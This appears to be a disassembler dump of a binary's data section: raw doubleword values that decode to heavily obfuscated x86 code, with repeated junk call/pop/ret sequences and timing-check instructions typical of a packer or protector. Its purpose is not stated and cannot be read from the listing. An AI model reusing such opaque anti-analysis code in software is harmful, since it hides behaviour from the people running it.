dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 5431C350h, 0E9FB8B66h, 12h, 2E20908Fh, 0CF0B508h, 0A226D616h
dd 0CF1E58DAh, 858BF720h, 6481159h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 85C35242h, 3447457Dh, 0BD8BD4FFh
dd 6482B75h, 12198533h, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0B0D04EC3h, 0EC6B3BF6h
dd 9D8B5668h, 6482F65h, 0DF8B6650h, 6A240489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 9EFC353h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 8E6F2FC3h, 4E880h, 3FF0000h, 8B50001Fh
dd 24448BD9h, 0EE904h, 0E3590000h, 23431125h, 0DD6DA388h
dd 4C964442h, 0FB8B008Bh, 4244489h, 1111C9BBh, 6A5879h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 5467DAC3h, 4E331F03h, 15940A5h, 4829759Dh, 0E8C0F06h
dd 0E9000000h, 9, 0DBEB22C6h, 1E22EB0Bh, 4195FF51h, 6A064807h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0B3AAC355h, 0BED8E139h, 9DBD8BC9h, 8906480Fh
dd 4BB68985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 0E963807Eh, 14h, 82283978h, 442DA3C8h
dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0BC59D89h, 13E90648h
dd 6A000002h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 346BC357h, 5CD2CD33h, 0BE8h, 42324500h
dd 0DEB41713h, 0F2DEEE78h, 2BED9D8Bh, 8B5B0648h, 4BB68185h
dd 0C777B706h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 36571DD2h, 819D8B6Ah
dd 8B06480Dh, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 758529FFh, 8B064815h
dd 481A8585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 4C65E55Dh, 7D12DA9Ch, 68929BCh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 0C1E2A608h
dd 119D8B7Eh, 8B06482Fh, 48115985h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 55890EB4h
dd 0BD3367A2h, 648297Dh, 0A0F38166h, 44689E2h, 525096FCh
dd 0BBD18B60h, 3901DDF3h, 0BF310F61h, 642AEBBDh, 8B50585Ah
dd 9D8B96FEh, 6483081h, 0B681B5FFh, 6A064Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 1B54DC3h
dd 4815799Dh, 0B9BD0106h, 68064810h, 0F73FC1C4h, 0B860Fh
dd 52500000h, 18BB310Fh, 5A61EF52h, 24048158h, 8DF423Bh
dd 1181BD8Bh, 9D8B0648h, 648063Dh, 0B689858Dh, 6A064Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0E92DE6C3h, 7FBC4B97h, 81F9BF0Fh, 8AA5F8E7h, 67BF9022h
dd 5046A5DDh, 6D0DBF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 80F84431h, 95FF38EBh
dd 6480741h, 0EE8h, 18EBE900h, 6FCF33CEh, 0FD345D2Eh, 8B3BBDB0h
dd 480445BDh, 6A615B06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0A1AAC356h, 0F78166C2h
dd 85C731A1h, 6482AD9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 1EC35545h, 0BD8320CFh, 64BB689h, 5D840F00h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 4079C355h, 55699DEDh, 860F2502h
dd 6, 18599D03h, 44E90648h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 123CC353h
dd 6800Fh, 0B5290000h, 6480A19h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0D3F1C355h, 6ACCE47Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0A6DEC351h, 9424068h, 0F1EB81E7h, 89001DD2h
dd 481CE195h, 0BE806h
dd 30680000h, 0EE3B8BCCh, 0D115117Fh, 0D9D78126h, 5F4C2894h
dd 2AD9BD83h, 0F030648h, 4CC85h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2C1B8C19h
dd 0F6A37B46h, 28F0Fh, 0DC8A0000h, 0B689BD83h, 0F00064Bh
dd 49484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 89B5FF1Dh, 6A064BB6h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E89AC351h
dd 0Bh, 86B28B85h, 0F56EEF38h, 5BA9D1EEh, 35BD0B56h, 5F064813h
dd 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 66F78BC3h, 85895A58h, 6482779h
dd 0B67DB58Bh, 0C7F5064Bh, 1000106h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C6FCCB68h
dd 1AF848FAh, 0DE9D0B0h, 0D6000000h, 58E8B570h, 0A04B8B3Ch
dd 422F62A5h, 13E950h, 9B760000h, 48877A4Ch, 0EAE498FFh
dd 4BA77F94h, 964B61ACh, 24348999h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 1CC35343h, 0EDDF8166h, 89B5FFDAh
dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0B5FAC352h, 898F6C6Ah, 0C79601C4h
dd 4459D8Bh, 95FF0648h, 6480061h, 11E9h, 759E0000h, 390474CDh
dd 0AE246E5Ch, 72BC90BBh, 0B58B08DAh, 64BB67Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A5C35141h, 0B5895269h
dd 6482E79h, 25858B5Fh, 6A06480Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 2D5DC350h
dd 5870Fh, 0A8BB0000h, 8954B164h, 0C486h, 95895300h, 64813D9h
dd 5958B5Bh, 6A064814h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 7A27C356h, 0D58BF6C0h
dd 0BBEFEB80h, 4B1EA0FEh, 6A04C283h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A28CC357h
dd 89A13DB8h, 482C3195h, 20508906h, 2A87BBBFh, 0D4858D65h
dd 8B064BCAh, 0B88689FAh, 0F000000h, 68Bh, 199D8B00h, 6A064831h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0DE957D6h, 9B000000h, 847995DEh, 0F0B0FA5Eh
dd 66E7F531h, 11E9h, 0A51BB300h, 0A1B3928Bh, 5EC7A169h
dd 0D976FCDBh, 0B5FF304Ch, 64BB689h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 9CC35747h, 526E620Ah, 8A0F10B1h
dd 14h, 8E8h, 0B9DD3A00h, 52D90494h, 418D8902h, 5F064814h
dd 88D0Fh, 850F0000h, 2, 95FF5B53h, 6480051h, 1C259D33h
dd 0E9500648h, 11h, 0C283E288h, 769463C8h, 538FD6A1h, 0A6418DABh
dd 243489D9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 3FC35242h, 0BD8B5F9Ch, 6482B51h, 0B689B5FFh, 6A064Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 680FFCC3h, 126D9D8Bh, 95FF0648h, 6481429h, 31A9BD83h
dd 0F000648h, 3C84h, 96B4B300h, 310F5250h, 5050585Ah, 0BF665752h
dd 0F5FFDD7h, 2830F31h, 51000000h, 96585A5Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h, 89B5FFBBh
dd 9064BB6h, 4806D59Dh, 0FD95FF06h, 6A064813h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0C487C353h, 8953D9F7h, 4823B1B5h, 89B5FF06h, 6A064BB6h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0A0F6C355h, 0B464C426h, 0DFD8589h, 95FF0648h
dd 648177Dh, 97D38166h, 1DBD831Dh, 206482Fh, 58840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 8E968C3h, 8000000h, 6224A240h, 8BDA7DB8h, 48155185h
dd 819D8906h, 0C6064807h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0D4D7ADC3h, 85C72C4Dh
dd 64816E1h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h
dd 566A37F5h, 8B7CCC73h, 481049BDh, 0F1D1E906h, 6AFFFFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD8BB0C3h, 6480DB9h, 0F60C18Bh, 28Ch, 81585600h, 115224DFh
dd 858D616Eh, 6481255h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 3DC35141h, 13E9A695h, 58000000h, 0F694E312h
dd 17049A77h, 48BBC66Fh, 11377253h, 0F60659Dh, 684h, 659D8B00h
dd 0E8064807h, 7, 0DFAD6283h, 9FE1D63h, 4822E1BDh, 90615E06h
dd 0BE9h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh, 50606050h
dd 5A310F52h, 61616058h, 9E9h, 1B94D600h, 8F0C9754h, 90617F29h
dd 6AD8BF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 82CF10ADh, 659382B5h, 6AFC6Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 7BC35141h, 8D5CDF40h
dd 4CD6A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 83F88BC1h, 0FD8A05C0h, 5007B790h
dd 14E9h, 0D8BFB000h, 0EC7A0B3Ch, 0DEC0D249h, 8D120AACh
dd 8F3662C2h, 6A90B3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0B3C35545h, 752C8061h, 0F35BD8Bh, 0BB660648h
dd 6E848A4h, 72000000h, 233587EDh, 6A5B1Ah, 0F88B66FCh
dd 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 1CFE5C3h, 4EDB006Fh, 852B601Dh
dd 6481AA9h, 1A99D8Bh, 8D610648h, 4B99388Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 476ADED6h, 0E8B0D893h, 0Ch, 41A50910h, 97668C0Eh, 0BF883F3Eh
dd 0A119501h, 0FF5B0648h, 0D38166D1h, 0BD83FDFEh, 64830E5h
dd 9F850F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0BADC355h, 0EEF97C55h
dd 76C3814Dh, 6A616FBBh, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D8B9CB2h, 6482731h, 24048950h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2EC35646h
dd 5195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 104F0CC3h, 0C75646B1h, 0FAC51FDh
dd 0BB66F9B7h, 50E9EE4Ah, 0E800000Fh, 0
dd 0B3ED815Dh, 6A064CD6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0E569C350h, 0BE97289h
dd 4C000000h, 0D39F0C07h, 0D078A008h, 0CB816C3Ah, 226CE22Ah
dd 93DA858Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 397F06C3h, 5C41E3D5h, 29577496h
dd 482F91BDh, 52505006h, 0CE9h, 0CA9C5C00h, 9ED13D28h
dd 80972854h, 8B310F42h, 89585AD8h, 6A2404h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0BAF30EC3h
dd 0BD8B709Bh, 6483119h, 64F88B66h, 35FFh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 886E18C3h, 64C30D04h, 2589h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 203801C3h
dd 51D0806h, 1AD185FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 83995EC3h, 0F575D543h
dd 1C358589h, 0FF6A0648h, 10B99D2Bh, 0B5FF0648h, 6480C99h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2FC35242h
dd 0C16901C1h, 0FFEACDBBh, 4810D995h, 0DBE906h, 81660000h
dd 0B03B02C3h, 0E6D98A00h, 79B58970h, 0E406481Ch, 29858971h
dd 3C064802h, 0BA830F61h, 66000000h, 0B60FD98Bh, 9850FC8h
dd 0F000000h, 381h, 0FABF0F00h, 0BAD9B70Fh, 6, 8529C18Bh
dd 6481A5Dh, 8B04E8C1h, 0E2F766DAh, 8C34CF81h, 2EBB0FE2h
dd 2B47CAACh, 0E99D8BC8h, 8B064805h, 73E9D1h, 0BB660000h
dd 9D295515h, 6480945h, 4858Bh, 9D330000h, 6482AD1h, 8307C083h
dd 0D03B00C0h, 17830Fh, 9D8B0000h, 6482C21h, 44E9h, 68B0F00h
dd 89000000h, 48070585h, 0FF8D8B06h, 60FFFFFFh, 31B19D89h
dd 2B50648h, 1E18361h, 1F840Fh, 0BB660000h, 0A5833735h
dd 0FFFFFFFFh, 0FFB70FFEh, 49589h, 9D2B0000h, 6481341h
dd 0E9h, 0F2B58D00h, 8B064C52h, 48031DBDh, 0FF006A06h
dd 48092D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 6AAF83E5h, 870FC2FEh, 9, 63E98160h
dd 0FC1C0C44h, 1120B961h, 57570000h, 2FEDBD03h, 5F5B0648h
dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0EDF8C350h, 0C19D09FCh, 2B06482Fh
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 597542B4h, 10E8BB97h, 0EB000000h, 0B96020C2h
dd 0D32E0DB1h, 43D60DE9h, 231F79FEh, 4804C99Dh, 9D315B06h
dd 6480B31h, 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0F9FA91C3h, 11E9h, 3DFA5D00h, 140AE6FBh
dd 25F0048Dh, 53FF100h, 33AD2CB9h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 2E8848C3h, 0B1A956E0h, 9D8BF41Dh, 6482F31h
dd 14E8h, 7B992600h, 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h
dd 899501ADh, 5B06480Dh, 880Dh, 0BD8D0100h, 8B064811h
dd 48140595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 705737D8h, 0AD54394Ch, 258D8B51h
dd 6A064830h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 4C21C350h, 65217918h, 50653100h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0E19D8B58h
dd 6A064810h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8B82C350h, 4820359Dh, 0D9BF0F06h
dd 12FDBD83h, 0F000648h, 7484h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0CABB3872h
dd 0D19D8B9Dh, 0B806482Eh, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h
dd 898B9486h, 4830318Dh, 808D8D06h, 6006484Eh, 2B91B509h
dd 66610648h, 0FFBE72BBh, 0BE9E1h, 99190000h, 0F1ED4C04h
dd 7C2BD2E2h, 0D9BD8377h, 6482Ah, 4A1840Fh, 95890000h
dd 6482989h, 2AD9BD83h, 0F010648h, 4A984h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 98D741ACh, 0AACCA14Ch, 0BD8302F5h, 6482AD9h, 41860F03h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0F9EAC355h, 14E8861Ch, 2D000000h
dd 59481168h, 16A136ECh, 3EDCF751h, 90A6D696h, 8105C6B1h
dd 993527DFh, 6A605B31h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0EC5CC351h, 2941BD03h
dd 8C660648h, 0CBBB66D9h, 4E180B3h, 2A419589h, 0C90A0648h
dd 188840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0F324B9C3h, 59858B68h, 6A064811h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 526C356h, 81666BEAh, 334924F3h, 48121985h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 38BA3E98h, 921874BFh, 0BDBD031Dh, 50064815h
dd 89FB8B66h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0BDBEE4C3h, 0CCD9D29h, 66536BDDh
dd 6A5FDE8Bh, 8E900h, 931F0000h, 3588B510h, 4E84B2Eh, 0FF000000h
dd 0F001F03h, 884h, 2840F00h, 60000000h, 8A605061h, 925EBBD8h
dd 8B612C79h, 0B7042444h, 0E8008B38h, 9, 0A5C996BBh, 0AD206501h
dd 60525065h, 66310F61h, 5AC4DEBBh, 44895B58h, 6A580424h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 2F2AC357h, 19BFF7FAh, 0DE8BCD40h, 74195FFh
dd 0BD8B0648h, 64827FDh, 0B6898589h, 6A064Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C2433AC3h
dd 6549B908h, 503811F8h, 20DE95Bh, 6A0000h
db 57h, 0E8h
word_587256 dw 3 ; DATA XREF: ___:off_42AFECo
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 624131C3h, 7D782333h, 858BDE8Bh, 64BB681h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 13C35646h, 7FB3D0C7h
dd 0BCDB1E4Ch, 1800C7h, 81660000h, 8B3E35D7h, 4BB685B5h
dd 0BFFE8B06h, 2AA6D48Eh, 1A85858Bh, 0BF0F0648h, 6A0689F9h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 9838C351h, 14DA3687h, 0BD03E3DDh, 6480F81h
dd 1159858Bh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 668F43C3h, 898CC2BFh, 50F80446h
dd 2830Fh, 0DF8B0000h, 29243489h, 4813A1BDh, 81B5FF06h
dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 1FA3C352h, 88B51093h, 664B2E35h
dd 0AF56DB81h, 1830Fh, 0E8F50000h, 4, 1F03FFh, 14E95250h
dd 0A5000000h, 0FEA14E57h, 4C68524Fh, 4E647691h, 1C134150h
dd 0F260CA0h, 2BB5131h, 5B0E3D20h, 6050585Ah, 0AE8h, 0DA900900h
dd 0EBD2A22Eh, 8BAD972Bh, 8B6658CBh, 448B61D1h, 0EE80424h
dd 0A5000000h, 24692AF1h, 105CFB23h, 0F207E2E4h, 6424BFD2h
dd 8B5F4A81h, 0F88B6600h, 4244489h, 12E9h, 2AE0F200h, 20E04872h
dd 8CD68CDEh, 0DB55084Eh, 587F594Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0D0C35343h, 0BF10365Dh, 6A37E301h
dd 0B689858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 77DA2BC3h, 0EDF8014Eh, 0BB66F745h
dd 9D8B053Bh, 6482EF9h, 89DE8B50h, 9EBB2404h, 9626920h
dd 480035BDh, 4195FF06h, 0F064807h, 689h, 95BD8900h, 61064831h
dd 4518529h, 85C70648h, 6482AD9h, 3, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 0F0C35343h, 0CFE5FF8Bh, 9D896F01h
dd 64808B1h, 0B689BD83h, 0F00064Bh, 0F84h, 42BB6600h, 21E9B6h
dd 0EF810000h, 46A3277Ah, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 175EC353h, 9FA4159h
dd 2715B74Fh, 9D01DF8Bh, 6481385h, 2ED99D8Bh, 95890648h
dd 6480599h, 2AD9BD83h, 0F030648h, 53E85h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0FB2F517Eh, 0AE90B88h, 51000000h, 0B52220B4h, 0F594F822h
dd 0BE9514Ch, 0D5000000h, 0FF8BF08Ah, 6F01CFE5h, 835BDB00h
dd 4BB689BDh, 840F0006h, 4EFh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0A8C35141h, 0A16E23A9h, 8B66961Eh
dd 0B8D781FBh, 0FF7EB201h, 4BB689B5h, 0DE806h, 17320000h
dd 0E4914A1Dh, 2DA9DA9Dh, 80278022h, 0FF5FDDDFh, 4809F595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 20B77436h, 4443E44Fh, 0B589BBF1h, 6483311h
dd 0B67DB58Bh, 6C7064Bh, 10001h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 98C35343h, 800F96BCh, 4, 7E9ABF66h
dd 0E0BB6650h, 6A96DEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 943161C3h, 5E66A5DCh, 0FC8ADE24h
dd 0B689B5FFh, 81F5064Bh, 29476ADFh, 6195FF4Ah, 6A064800h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 79DBC356h, 0ADE21A12h, 3BC0955Fh, 6830Fh
dd 8D890000h, 6481549h, 0B67DB58Bh, 6A064Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 81C01BC3h
dd 17F02684h, 0EE8h, 0A9443B00h, 0E018BD67h, 66A36B90h
dd 338653FCh, 480A2D9Dh, 0BD895B06h, 64817A1h, 0F25858Bh
dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 5F00D3C3h, 27A594Eh, 0C4868924h, 0E9000000h
dd 11h, 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h, 5958B90h
dd 6A064814h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0DC5C353h, 335DBD8Bh, 0B5090648h
dd 6482BD5h, 0B04C283h, 481B15BDh, 20508906h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FEC35343h, 0DE9FE24h
dd 8A000000h, 0C4736E45h, 823B5FD3h, 149BDEE9h, 0CAD4858Dh
dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0A0C7A3C3h, 0A3565A01h, 0BD8BF7E3h, 64822C5h
dd 2BBDBD8Bh, 86890648h, 0B8h, 6AFB8B66h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 3363B50Dh, 0E5847EB2h, 0FE8E6h, 0C5660000h, 41C9764h
dd 0B1848A21h, 7DCC0212h, 4FF38006h, 1D8D315Bh, 0FF064828h
dd 4BB689B5h, 0A5BD8906h, 0F064828h, 80h, 5195FF00h, 6A064800h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 8521C352h, 8DE7521Ch, 9D8B5745h, 64808B1h
dd 0DE950h, 353B0000h, 9E835E7Fh, 476ADED6h, 5FB0D893h
dd 0F36DBB96h, 0E8501486h, 0Ch, 7DA71181h, 0A9DBB13Fh
dd 9635604Ch, 5BF0B753h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 14A51AC3h, 0BF94C4D6h
dd 23AEA24Ah, 0FFFB8B66h, 4BB689B5h, 0E9FA8B06h, 10h, 0F1C840AEh
dd 70412F77h, 21A1FBF6h, 9A9762BDh, 142995FFh, 6A0648h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 830CAAC3h, 4831A9BDh, 840F0006h, 41h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 15h, 78C35545h, 8BD88B69h
dd 0DE896D8h, 0E3000000h, 1ACD6BBAh, 81A906F3h, 0A6DF0AD3h
dd 0D486BB66h, 8196505Fh, 0F6B801EFh, 89B5FF65h, 6A064BB6h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 7705C355h, 8FC1F563h, 1A2E0294h, 13FD95FFh
dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 7AAA2BC3h, 72E78175h, 999BD03h, 0B5FF0648h
dd 64BB689h, 13959D8Bh, 95FF0648h, 648177Dh, 38A0Fh, 0EF800000h
dd 1DBD8315h, 206482Fh, 62840Fh, 0BD8B0000h, 6481289h
dd 1551858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 26CDBFC3h, 146E4CEFh, 0C6829081h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0D812B7C3h, 0EBA5BB19h, 68E0Fh, 0DB810000h
dd 78F1EC2Ah, 16E185C7h, 648h, 6A0000h, 3E855h, 5D200000h
db 0C3h, 5Dh
word_587A56 dw 6C89h ; DATA XREF: ___:off_42C440o
dd 44810424h, 1D0424h, 55450000h, 75612EC3h, 9A5281C6h
dd 60B17351h, 41F9C881h, 0AE908FAh, 0FC000000h, 2E55EDC8h
dd 6E88082Bh, 1BB6178h, 0E933F6C9h, 0FFFFF212h, 0CE8h
dd 0A984C200h, 0AFABC5A7h, 0B2B82162h, 45BD8945h, 5B064805h
dd 0CE9C18Bh, 41000000h, 376DADF8h, 5E826ED2h, 8DE57128h
dd 48125585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0FC1CA08Ch, 5E890h, 3D360000h, 0FBE655Fh
dd 28Fh, 5F5F5100h, 0D98B6650h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5E8C46B7h
dd 598D89B2h, 6A064830h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 6F419464h, 66CB95C0h
dd 6A8A18BBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0A29ACDEBh, 38D97A06h, 0AB858DC8h
dd 6A064CE8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 807CC355h, 1B53BFF1h, 95BD0305h
dd 89064819h, 4814F9B5h, 5C08306h, 0E851006Ah, 3, 59C35920h
